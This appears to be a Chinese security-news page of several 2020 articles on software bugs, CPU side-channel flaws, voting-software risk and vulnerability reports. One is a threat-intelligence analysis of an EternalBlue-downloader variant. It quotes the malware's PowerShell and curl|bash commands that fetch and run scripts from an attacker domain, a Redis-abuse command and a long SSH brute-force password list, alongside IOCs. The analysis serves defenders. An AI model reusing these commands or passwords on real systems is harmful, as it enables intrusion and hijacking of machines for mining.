分类: 漏洞事件

部分 Microsoft Edge 开机自动启动,微软确认是 bug

本月初微软通过 Windows Update 将新版 Microsoft Edge 推送给用户,并自动取代旧版 Edge。当然,如果系统原本默认的浏览器不是 Microsoft Edge,那么升级到新版后也不会改变这一设置。 不过部分用户最近反馈的一个情况却会让人误以为微软正在另辟蹊径让他们将 Microsoft Edge 作为默认浏览器。根据用户的反馈,无论在 edge://settings/onStartup 中进行了哪种设置,无论何时启动 PC 并登录 Windows,部分 Microsoft Edge 都会随系统启动而启动。也就是说,开机并进入桌面后,Microsoft Edge 便会自动启动。 微软收到反馈的消息后,很快就确认了这是一个 bug。不过工程师目前也不能确认此错误的发生是否伴随了系统其他的行为更改。 上文提到的 edge://settings/onStartup 设置影响的是打开浏览器后的行为,与操作系统的设置并没有直接关系。 由于用户提供的信息有限,因此工程师无法定位导致 bug 产生的原因。不过根据外国科技媒体 Softpedia 的报道,这种情况发生在通过 Windows Update 自动下载安装更新的设备上。 如果你也受到此问题的影响,并且希望帮忙解决问题,可查看博客文章以获取详细信息。在博客文章中,微软提供了有关如何通过浏览器内置反馈工具共享诊断数据的完整说明。     (稿源:开源中国,封面源自网络。)

谷歌 Pixel 4 Android 11 降级 Android 10 出 bug:面部识别不能用

6月15日消息,上周Android 11 Beta 1正式上线,谷歌Pixel机型率先尝鲜。考虑到这是Beta版Android 11,系统方面不够稳定,不少Pixel用户升级到Android 11之后选择降级回到Android 10,然而在降级之后发现了新的Bug。 据9to5Google报道,不少用户反馈谷歌Pixel 4、Pixel 4 XL降级回到Android 10之后面部识别不能用,系统提示面部信息无法录入。 谷歌方面承认了这一错误,表示会在后续版本中修复这一bug。9to5Google提醒用户,升级到Android 11的Pixel 4系列用户谨慎降级,否则面部识别无法使用。由于Pixel 4、Pixel 4 XL仅支持3D人脸识别,没有指纹,所以降级后如果出错只能用传统的密码或者图案解锁,安全性方面会降低。 值得一提的是,除了Pixel 4系列之外,一加8系列、Realme X50 Pro系列、小米10系列、小米POCO F2 Pro、Find X2系列等都将在本月尝鲜Android 11,值得期待。     (稿源:快科技,封面源自网络。)

“黑球”行动再升级,SMBGhost 漏洞攻击进入实战

感谢腾讯御见威胁情报中心来稿! 原文链接:https://mp.weixin.qq.com/s/ZoiKCTEaxhXIXsI4OzhWvA   一、概述 2020年6月10日,腾讯安全威胁情报中心检测到永恒之蓝下载器木马出现变种。此次变种在上个版本“黑球”行动中检测SMBGhost漏洞的基础上首次启用SMBGhost漏洞攻击,之前的若干种病毒只是利用SMBGhost漏洞做扫描检测,并无实质性攻击利用。本次更新还启用了SSH爆破以及新增Redis爆破能力攻击Linux系统。 由于SMBGhost漏洞CVE-2020-0796利用Windows SMB漏洞远程攻击获取系统最高权限,可直接攻击SMB服务造成RCE(远程代码执行),存在漏洞的计算机只要联网就可能被黑客探测攻击,并获得系统最高权限。该攻击行动使得“永恒之蓝”系列木马针对Windows系统的攻击能力再次增强。 腾讯安全威胁情报中心曾多次发布SMBGhost漏洞风险提示,至今仍有近三分之一的系统未修补该漏洞,我们再次强烈建议所有用户尽快修补SMBGhost漏洞(CVE-2020-0796)。 此外永恒之蓝下载器木马还新增了针对Linux系统的远程攻击,在失陷系统创建定时任务并植入挖矿木马功能,使得其攻击的范围继续扩大,包括云上Linux主机等都可能成为攻击目标。永恒之蓝本次更新的主要目的是释放挖矿木马,并会按照惯例在开始挖矿前,清除其他挖矿木马,以便独占系统资源。挖矿活动会大量消耗企业服务器资源,使正常业务受严重影响。 二、样本分析 攻击模块if.bin在smbghost_exec函数中利用从hxxp://d.ackng.com/smgh.bin下载的SMBGhost漏洞攻击程序发起攻击,攻击成功后远程执行以下shellcode: powershell IEx(New-Object Net.WebClient).DownLoadString(''http[:]///t.amynx.com/smgho.jsp?0.8*%computername%'') 针对Linux系统服务器的攻击 1、利用SSH爆破 扫描22端口进行探测,针对Linux系统root用户,尝试利用弱密码进行爆破连接,爆破使用密码字典: “saadmin”,”123456″,”test1″,”zinch”,”g_czechout”,”asdf”,”Aa123456.”,”dubsmash”,”password”,”PASSWORD”,”123.com”,”admin@123″,”Aa123456″,”qwer12345″,”Huawei@123″,”123@abc”,”golden”,”123!@#qwe”,”1qaz@WSX”,”Ab123″,”1qaz!QAZ”,”Admin123″,”Administrator”,”Abc123″,”Admin@123″,”999999″,”Passw0rd”,”123qwe!@#”,”football”,”welcome”,”1″,”12″,”21″,”123″,”321″,”1234″,”12345″,”123123″,”123321″,”111111″,”654321″,”666666″,”121212″,”000000″,”222222″,”888888″,”1111″,”555555″,”1234567″,”12345678″,”123456789″,”987654321″,”admin”,”abc123″,”abcd1234″,”abcd@1234″,”abc@123″,”p@ssword”,”P@ssword”,”p@ssw0rd”,”P@ssw0rd”,”P@SSWORD”,”P@SSW0RD”,”P@w0rd”,”P@word”,”iloveyou”,”monkey”,”login”,”passw0rd”,”master”,”hello”,”qazwsx”,”password1″,”Password1″,”qwerty”,”baseball”,”qwertyuiop”,”superman”,”1qaz2wsx”,”fuckyou”,”123qwe”,”zxcvbn”,”pass”,”aaaaaa”,”love”,”administrator”,”qwe1234A”,”qwe1234a”,” “,”123123123″,”1234567890″,”88888888″,”111111111″,”112233″,”a123456″,”123456a”,”5201314″,”1q2w3e4r”,”qwe123″,”a123456789″,”123456789a”,”dragon”,”sunshine”,”princess”,”!@#$%^&*”,”charlie”,”aa123456″,”homelesspa”,”1q2w3e4r5t”,”sa”,”sasa”,”sa123″,”sql2005″,”sa2008″,”abc”,”abcdefg”,”sapassword”,”Aa12345678″,”ABCabc123″,”sqlpassword”,”sql2008″,”11223344″,”admin888″,”qwe1234″,”A123456″,”OPERADOR”,”Password123″,”test123″,”NULL”,”user”,”test”,”Password01″,”stagiaire”,”demo”,”scan”,”P@ssw0rd123″,”xerox”,”compta” 爆破登陆成功后执行远程命令: `Src=ssho;(curl -fsSL http[:]//t.amynx.com/ln/core.png?0.8*ssho*`whoami`*`hostname`||wget -q -O- http[:]//t.amynx.com/ln/core.png?0.8*ssho*`whoami`*`hostname`) | bash` 2、利用Redis未授权访问漏洞 扫描6379端口进行探测,在函数redisexec中尝试连接未设置密码的redis服务器,访问成功后执行远程命令: `export src=rdso;curl -fsSL t.amynx.com/ln/core.png?rdso|bash` SSH爆破和Redis爆破登陆成功均会执行Linux Shell脚本core.png,该脚本主要有以下功能: a.创建crontab定时任务下载和执行脚本http[:]//t.amynx.com/ln/a.asp b.创建crontab定时启动Linux平台挖矿木马/.Xll/xr 通过定时任务执行的a.asp首先会清除竞品挖矿木马: 然后通过获取/root/.sshown_hosts中记录的本机SSH登陆过的IP,重新与该机器建立连接进行内网扩散攻击: 创建目录/.Xll并下载挖矿木马(d[.]ackng.com/ln/xr.zip)到该目录下,解压得到xr并连接矿池lplp.ackng.com:444启动挖矿。 永恒之蓝下载器木马自2018年底诞生以来一直处于高度活跃状态,目前该木马会通过以下方法进行扩散传播: 截止2020年6月12日,永恒之蓝木马下载器家族主要版本更新列表如下: IOCs Domain t.amynx.com t.zer9g.com t.zz3r0.com d.ackng.com URL http[:]//t.amynx.com/smgh.jsp http[:]//t.amynx.com/a.jsp http[:]//t.amynx.com/ln/a.asp http[:]//t.amynx.com/ln/core.png http[:]//d.ackng.com/if.bin http[:]//d.ackng.com/smgh.bin http[:]//d.ackng.com/ln/xr.zip

英特尔处理器又曝两个 SGX 新漏洞 攻击者可轻松提取敏感数据

正在英特尔努力消除多个处理器漏洞造成的负面影响的时候,三所大学的安全研究人员再次无情地曝光了 SGX 软件防护扩展指令的另外两个缺陷。对于攻击者来说,这可以让他们相当轻松地提取敏感数据。庆幸的是,新问题可通过积极的补救措施得到修复,且当前尚无新漏洞已在野外被利用的相关证据。 来自美国密歇根、荷兰阿姆斯特丹、以及澳大利亚阿德莱德三所大学的研究人员披露 —— 攻击者可利用多核体系架构的工作方式,来获得对受感染系统上敏感数据的访问权限。 其已经为两个漏洞开发了对应的攻击方法,并给出了 SGAxe 和 CrossTalk 的概念证明。 前者似乎是今年早些时候曝光的 CacheOut 攻击的高级版本,黑客可从 CPU 的 L1 缓存中提取内容。 研究人员解释称,SGAxe 是英特尔减轻针对软件防护扩展(SGX)的旁路攻击的一个失败尝试。作为 CPU 上的一个专属区域,SGX 原意是确保正在处理的代码和数据的完整与机密性。 借助瞬态执行攻击,黑客可从实质上恢复存储在 SGX 区域中的加密密钥,并将之用于解密长存储区,以获得机器的 EPID 密钥。后者被用于确保事务的安全性,比如金融交易和受 DRM 保护的内容。 至于第二个 CrossTalk 漏洞,其属于微体系架构数据采样(MDS)的一个衍生,能够针对 CPU 的行填充缓冲区(LBF)处理的数据发起攻击。 其原本希望提供 CPU 内核访问的“登台缓冲区”,但黑客却能够利用在一个单独核心上运行的特制软件,来破坏保护其运行的软件代码和数据私钥。 据悉,新漏洞影响 2015 ~ 2019 年发布的多款英特尔处理器,包括部分至强 E3 SKU(E5 和 E7 系列已被证明可抵御此类新型攻击)。 英特尔在 6 月份的安全公告中称,只有极少数的人能够在实验室环境中发起这些攻击,目前尚无漏洞在野外被利用的报告。 即便如此,该公司仍将尽快发布微码更新,同时让之前签发的证明密钥失效。     (稿源:cnBeta,封面源自网络。)

研究人员称美国 5 个州使用的网络投票技术存在致命缺陷

OmniBallot是美国几十个司法管辖区都在使用的选举软件。除了递送选票和帮助选民标记选票外,它还包括一个在线投票的选项。至少有三个州,西弗吉尼亚州、特拉华州和新泽西州已经或计划在即将举行的选举中使用该技术。俄勒冈州和华盛顿州的四个地方司法管辖区也使用在线投票功能。但麻省理工学院的迈克尔-斯佩克特和密歇根大学的亚历克斯-哈尔德曼这对计算机科学家的新研究发现,该软件安全保护措施不足,对选举的完整性造成了严重的风险。 OmniBallot背后的公司Democracy Live在给Ars Technica的邮件回复中为其软件辩护。Democracy Live首席执行官Bryan Finney写道:”报告没有发现OmniBallot的任何技术漏洞”。从某种意义上来说,这是真的,研究人员并没有在OmniBallot代码中发现任何重大漏洞。但这也忽略了他们分析的重点。软件的安全性不仅取决于软件本身,还取决于系统运行环境的安全性。例如,如果投票软件运行在被恶意软件感染的电脑上,就不可能保证投票软件的安全。而在美国,有数百万台电脑被恶意软件感染。 这个问题现在特别紧迫,因为正在进行的COVID-19大流行迫使选举官员对选举程序作出重大改变。目前,大多数使用OmniBallot软件的司法管辖区都没有使用其 “电子选票传递 “功能。但启用该功能只需更改配置即可。选举官员有可能在远程投票更容易的压力下,决定在今年11月大选中启用该软件的在线投票功能。 Specter和Halderman取得了OmniBallot软件的副本,对其进行了逆向工程,然后创建了模仿真实服务器行为的新服务器软件。这使他们能够在不冒干扰真实选举的情况下对软件进行实验。他们发现,OmniBallot提供了一些不同的功能,州选举官员可以选择向选民提供。最基本的是空白选票交付功能,可向选民提供可打印出来并寄回投票站的PDF选票。各地也可提供选票标记功能,在选票打印出来之前,代选民标记。这可以让失明选民独立填写选票。它还可以防止多投,并警告选民没有投票。 但是Specter和Halderman认为这种能力会带来一些额外的风险。恶意软件可以被编程成在很短的时间内切换投票。理论上,选民应该在投递选票前检查选票是否正确,但研究表明,选民对此并不严格。霍尔德曼和其他人的一项研究发现,在一次现实的模拟选举中,只有6.6%的选民向选举监督人报告了投票的变化。     (稿源:cnBeta,封面源自网络。)

Windows 10 20H1 谜之 BUG:1 月已修复的磁盘优化问题在正式版中又出现

在昨日的补丁星期二活动日中,微软宣布扩大 Windows 10 May 2020(20H1/Version 2004)的部署范围,邀请更多用户通过手动检查 Windows Update 更新的方式获得升级。尽管升级过程非常流畅,但是部分用户反馈在升级后导致优化存储的内置工具无法正常工作。 根据用户的反馈和外媒的复现测试,升级 Windows 10 Version 2004 功能更新会导致“磁盘优化”和“碎片整理和磁盘优化”工具出现问题。 磁盘优化是 Windows 10 系统内置的工具,允许用户对碎片文件进行碎片整理并解决性能问题。默认情况下,Windows 10每周都会自动对所有分区进行维护,你可以在 “优化驱动器 “工具中查看状态。 在升级 Windows 10 Version 2004 功能更新之后,磁盘优化工具虽然可以帮助用户解决性能问题,但不能报告正确的状态。 例如,磁盘优化工具会报告说并未在你的 PC 上运行扫描,在已经执行优化操作之后依然显示需要优化。这对于想要检查驱动器健康状况的管理员来说是个大问题,因为你无法发现你的驱动器是否经过优化。 但需要注意的是,这款工具的功能并没有损坏。,它仍然可以帮助用户自动或手动修复Windows性能问题。你可以通过以下步骤来验证优化/碎片和TRIM的状态。 1.打开 “开始 “菜单。 2.输入 “事件查看器 “并打开它。 3.在 “事件查看器 “中,导航到Windows日志>应用程序。 4.右键单击应用程序并单击 “过滤当前日志”。 5.在事件源下拉菜单中选择Defrag。 6.单击 “确定”。 中间的窗格会显示一个事件列表,点击它们会在预览窗格中显示详细信息。值得注意的是,作为Windows Insider计划的一部分,该bug已经被报告给微软,有用户要求公司不要运送带有该bug的更新。 事实上,这个 BUG 曾经在今年一月发布的 Windows 10 Build 19551 更新中已经得到了修复,但是尚不清楚为何会进入到稳定版本中。微软在2020年1月23日的一篇博文中指出:“感谢您报告了磁盘优化控制面板错误地显示优化没有进行的错误提醒。我们已经在这个Build版本中修复了它。”     (稿源:cnBeta,封面源自网络。)

Adobe Flash 爆出严重漏洞:可导致代码任意执行 获取个人隐私

众所周知,Flash是网络攻击的首选目标。值得注意的是,Adobe在2017年7月宣布计划将Flash推入使用寿命终止状态,这意味着它将在今年年底不再更新或分发Flash Player。不过仍然在使用Adobe的用户需要警惕,因为Adobe 在今年5月被爆出了多个严重漏洞,好在Adobe于6月9日发布了安全更新,修复了漏洞。 Adobe 被爆出的漏洞: 两个严重的越界写入漏洞(代号分别为:CVE-2020-9634,CVE-2020-9635),一个内存损坏而导致的严重漏洞(代号:CVE-2020-9636)。 对于CVE-2020-9634,特定的漏洞存在于GIF文件的解析中,该问题是由于缺乏对用户提供的数据的正确验证而导致的,这可能导致写操作超出了分配对象的末尾。 对于CVE-2020-9635,PDF文件的解析中存在特定漏洞。问题是由于缺乏对用户提供的数据的正确验证而导致的,这可能导致在分配的对象开始之前进行写操作。 攻击者可以利用CVE-2020-9634,CVE-2020-9635两个漏洞在当前进程的上下文中执行代码,诱使用户打开特定文件或访问恶意页面。 对于CVE-2020-9636,该漏洞是在释放内存后尝试访问的。这可能导致一系列恶意影响,从导致程序崩溃到潜在地导致执行任意代码-甚至启用完整的远程代码执行功能。 受影响的产品版本 1.包括Adobe Flash Player桌面运行时(Windows,macOS和Linux),适用于Google Chrome的Adobe Flash Player(适用于Windows,macOS,Linux和Chrome OS)以及适用于Microsoft Edge / Internet Explorer 11(适用于Windows 10和8.1)的Adobe Flash Player,均适用于32.0版.0.330及更早版本。 2.适用于Windows的Adobe Framemaker版本2019.0.5及更低版本。 升级修复版本 Adobe Flash Player更新到32.0.0.387版本,加强安全性。该版本除了修复最近爆出的漏洞,还可以解决历史上风险较高的产品中的漏洞。 Adobe Framemaker版本升级到2019.0.6版本或最新版本。 其他漏洞 Adobe还修补了与Experience Manager(其用于构建网站,移动应用程序和表格的内容管理平台)中的六个重要级别的漏洞。这些包括可能允许敏感信息泄露的服务器端请求伪造故障(CVE-2020-9643和CVE-2020-9645)和跨站点脚本漏洞(CVE-2020-9647,CVE-2020-9648,CVE-2020 -9651和CVE-2020-9644),可以在浏览器中启用任意JavaScript执行。 受影响的产品版本 Adobe Experience Manager (AEM)所有平台6.5版本 升级修复版本 建议所有用户迅速更新到AEM 最新版本(目前最新版本为:6.5.5.0),加强安全性。     (稿源:TechWeb,封面源自网络。)

Linux 再次严辞拒绝 Intel CPU 漏洞补丁

近日,Linux 内核项目负责人 Linus Torvalds 拒绝了 AWS 工程师提交的一个补丁,该补丁的目的是减轻 Intel CPU 遭遇一种新型窥探攻击而导致数据泄露的风险。 这种新型攻击名为“探听辅助 L1 数据采样攻击”,简称 Snoop (CVE-2020-0550)。今年 3 月,来自 AWS 的软件工程师 Pawel Wieczorkiewicz 率先发现了 Intel 处理器的这一漏洞,它可能会泄露 CPU 内部存储器或缓存中的数据,涉及 CPU 包括 Intel 旗下流行的 Xeon 和 Core 系列处理器。Pawel 迅速向 Intel 报告了此问题,随后该漏洞被 Intel 定位为中等严重性漏洞。 新的 Snoop 攻击利用了 Intel CPU 多级缓存、缓存一致性和总线监听等特性,通过位于 CPU 内核中的一级数据缓存(L1D),通过“总线监听”(bus snooping)功能 —— 在 L1D 中修改数据时发生的缓存更新操作,将数据从 CPU 中泄漏出来。 以近代 CPU 的视角来说,计算机通常会采用三级缓存的设计来提高 CPU 的运行效率。三级缓存包括 L1 一级缓存、L2 二级缓存、L3 三级缓存,这些缓存都集成在 CPU 内,它们的作用是作为 CPU 与主内存之间的高速数据缓冲区。其中 L1 最靠近 CPU 核心;L2其次;L3再次。运行速度方面:L1最快、L2次快、L3最慢;容量大小方面:L1最小、L2较大、L3最大。在执行一项任务时,CPU 会先在最快的 L1 中寻找需要的数据,找不到再去找次快的 L2,还找不到再去找 L3,L3 都没有才去内存找。 而一级缓存其实还分为一级数据缓存(Data Cache,D-Cache,L1D)和一级指令缓存(Instruction Cache,I-Cache,L1I),分别用于存放数据及执行数据的指令解码,两者可同时被CPU 访问,减少了 CPU 多核心、多线程争用缓存造成的冲突,提高了处理器的性能。一般CPU 的 L1I 和 L1D 具备相同的容量,例如 I7-8700K 的 L1 即为 32KB+32KB。Snoop 攻击就是一种窃取 L1D 缓存中数据的攻击手段。 不过 Intel 的用户也不用惊慌,据 Intel 官方解释说,这种新攻击「很难实施」,并且不会泄露大量数据,毕竟 L1D 缓存中的数据非常有限,并且只有在任务运行时调用数据的短暂时间内才会存在。“我们不认为 Snoop 攻击在可信赖的操作系统环境下是一种实用的攻击方法,因为要利用这一漏洞需要同时满足很多苛刻的条件,比如攻击的时间要正好与用户打开程序的时间吻合,且程序调用的数据正好是攻击者想要窃取的数据。” 该漏洞披露之后,另一位来自 AWS 的软件工程师 Balbir Singh 为 Linux 内核提交了一个补丁,该补丁使 Linux 的应用程序能够选择在任务切换时自动刷新 L1D 的缓存,以降低 Linux 系统遭遇 Snoop 攻击的风险。 Singh 在 4 月份曾解释说:“这个补丁可以防止他们的数据在任务结束后被监听或通过旁道泄露。”他原本打算该补丁可以随 Linux 内核的 5.8 版一起发布。“如果硬件支持,该特性将允许基于可选加入的应用程序调用 prctl() 功能来刷新任务关闭后残留在 CPU 中的 L1D 缓存。” 但是,知名技术测试网站 Phoronix 指出,在任务结束后刷新 L1D 缓存会导致 CPU 的性能降低。Linux 内核项目负责人 Linus Torvalds 认为,这将导致使用该补丁的所有 Linux 用户(无论是否采用 Intel CPU)的 CPU 性能降低,严正拒绝了该补丁,同时还一如既往地说起了骚话。 Torvalds 在回复该提交的邮件列表中写道:“因为在我看来,这基本上是将缓存刷新指令导出到用户空间,并为进程提供了一种方式,可以说让与这事情无关的其他人也慢了下来。” “换言之,据我所知,这就是疯狂的 Intel 发布了有缺陷的 CPU,它给虚拟化代码带来了问题(我对此并不太在意),但现在要因为它的问题影响到本来就没有这些问题的 Linux 用户,这是完全没有意义的。” 在一番非常 Linus 式的回复下,Linus 对虚拟化的引用其实也是针对 AWS 的,AWS 和其他云服务提供商一样,销售的虚拟 cpu 通常启用了同步多线程(simultaneous multithreading,SMT)功能。Linus 接着指出,“在启用 SMT 的情况下,任务调度是分布式进行的,所以说,在任务结束与新任务开始之间刷新 L1D 缓存是非常愚蠢的。” 值得一提的是,AWS 的首席工程师 Benjamin Herrenschmidt 在与 Red Hat Linux 内核贡献者 Ingo Molnar 的讨论中也为该补丁的争论添加了一些背景。Herrenschmidt 承认这个补丁对 SMT 来说毫无意义,但他敦促 Linux 内核开发人员不要“把婴儿和洗澡水一起扔掉”,并反驳了这个补丁是因为 AWS 想把超线程作为虚拟 cpu 出售的说法。Herrenschmidt 说,“这些补丁并不是要解决运行 SMT 的客户 VM 内部出现的问题,也不是要保护 VM 免受同一系统上其他 VM 的攻击。” 事实上,Linus 已经不是第一次严辞拒绝与 Intel CPU 有关的补丁。2018 年初,为了修补 Spectre 漏洞,Intel 工程师提供了一个间接分支限制推测(indirect branch restricted speculation, IBRS)功能的补丁,Linus 当时就在邮件列表中公开指出 IBRS 会造成系统性能大幅降低。 而就在上个月,Linus 对自己的私人电脑进行了升级,同时公开了自己最新的主力机器配置,他把自己的 CPU 换成了 AMD Ryzen Threadripper ,放弃使用了 15 年的 Intel 处理器。     (稿源:开源中国,封面源自网络。)

WhatsApp 漏洞或已暴露用户的手机号码

某安全研究人员透露,WhatsApp 惊现一个允许在谷歌搜索引擎上暴露用户手机号码的 bug 。虽然不是所有用户的号码都被暴露,但这个问题还是引发了他们的关注。但若用户只与自己认识的 WhatsApp 用户交谈过(未使用过群组邀请链接),便有很大的几率不会受到本次漏洞的影响。   安全研究人员 Athul Jayaram 表示,WhatsApp 高管已经知晓了这个问题,但却对此无动于衷。据悉,该问题与今年早些时候推出的 WhatsApp 二维码功能有关。 WhatsApp 先前发布的群组邀请链接的工作方式,不同于新的二维码功能,但前者显然要更安全一些 —— 因为后者使用了未加密的 http://wa.me/ 短网址系统、且并未在链接中隐藏用户的电话号码。 当用户在新系统上分享二维码时,如果该网址被谷歌爬虫抓取,便极有可能被编入搜索引擎的索引结果中。如果你担心自己的号码也被意外收入,请通过 site:wa.me + 国家 / 地区代码的方式检索核实。 目前,如果通过 site:api.whatsapp.com 的方式检索,谷歌搜索引擎还会返回成千上万的检索结果。但除非 WhatsApp 高层正视该问题,否则此事的负面影响肯定还会持续。     (稿源:cnBeta,封面源自网络。)

2019 年热门开源项目当中的漏洞增加了一倍

一项分析前54个开源项目的研究发现,这些工具中的安全漏洞在2019年翻了一番,从2018年的421个bug到去年的968个。根据RiskSense今天发布的 “开源的黑暗现实 “报告,该公司在2015年至2020年3月期间发现流行的开源项目中报告了2694个bug。 该报告并不包括Linux、WordPress、Drupal等超级流行的免费工具项目,因为这些项目经常受到监控,安全bug也会成为新闻,确保这些安全问题大多能相当快地得到修补。 相反,RiskSense观察了其他流行的开源项目,这些项目并不那么知名,但被技术和软件社区广泛采用。其中包括Jenkins、MongoDB、Elasticsearch、Chef、GitLab、Spark、Puppet等工具。 RiskSense表示,他们在研究过程中发现的一个主要问题是,他们分析的大量安全漏洞在公开披露后许多周后才被报告到国家漏洞数据库(NVD)。该公司表示,这54个项目中发现的bug通常平均需要54天左右时间才会被报告给NVD,其中PostgreSQL的报告延迟时间达到了8个月。由于网络安全和IT软件公司使用NVD数据库来创建和发送安全警报,报告延迟导致使用这些开源项目的公司仍然暴露在攻击面前。 RiskSense表示,自2015年以来,在其分析的所有54个项目中,Jenkins自动化服务器和MySQL数据库服务器的武器化漏洞最多,均为15个。虽然其他开源项目的bug较少,但这些bug有时更容易被武器化,例如Vagrant虚拟化软件和Alfresco内容管理系统当中的bug。 RiskSense认为,现在不仅需要改进开源项目内部处理安全漏洞的方式,而且需要整个行业进行改进,因为 开源项目正在以历史性的速度产生新漏洞。     (稿源:cnBeta,封面源自网络。)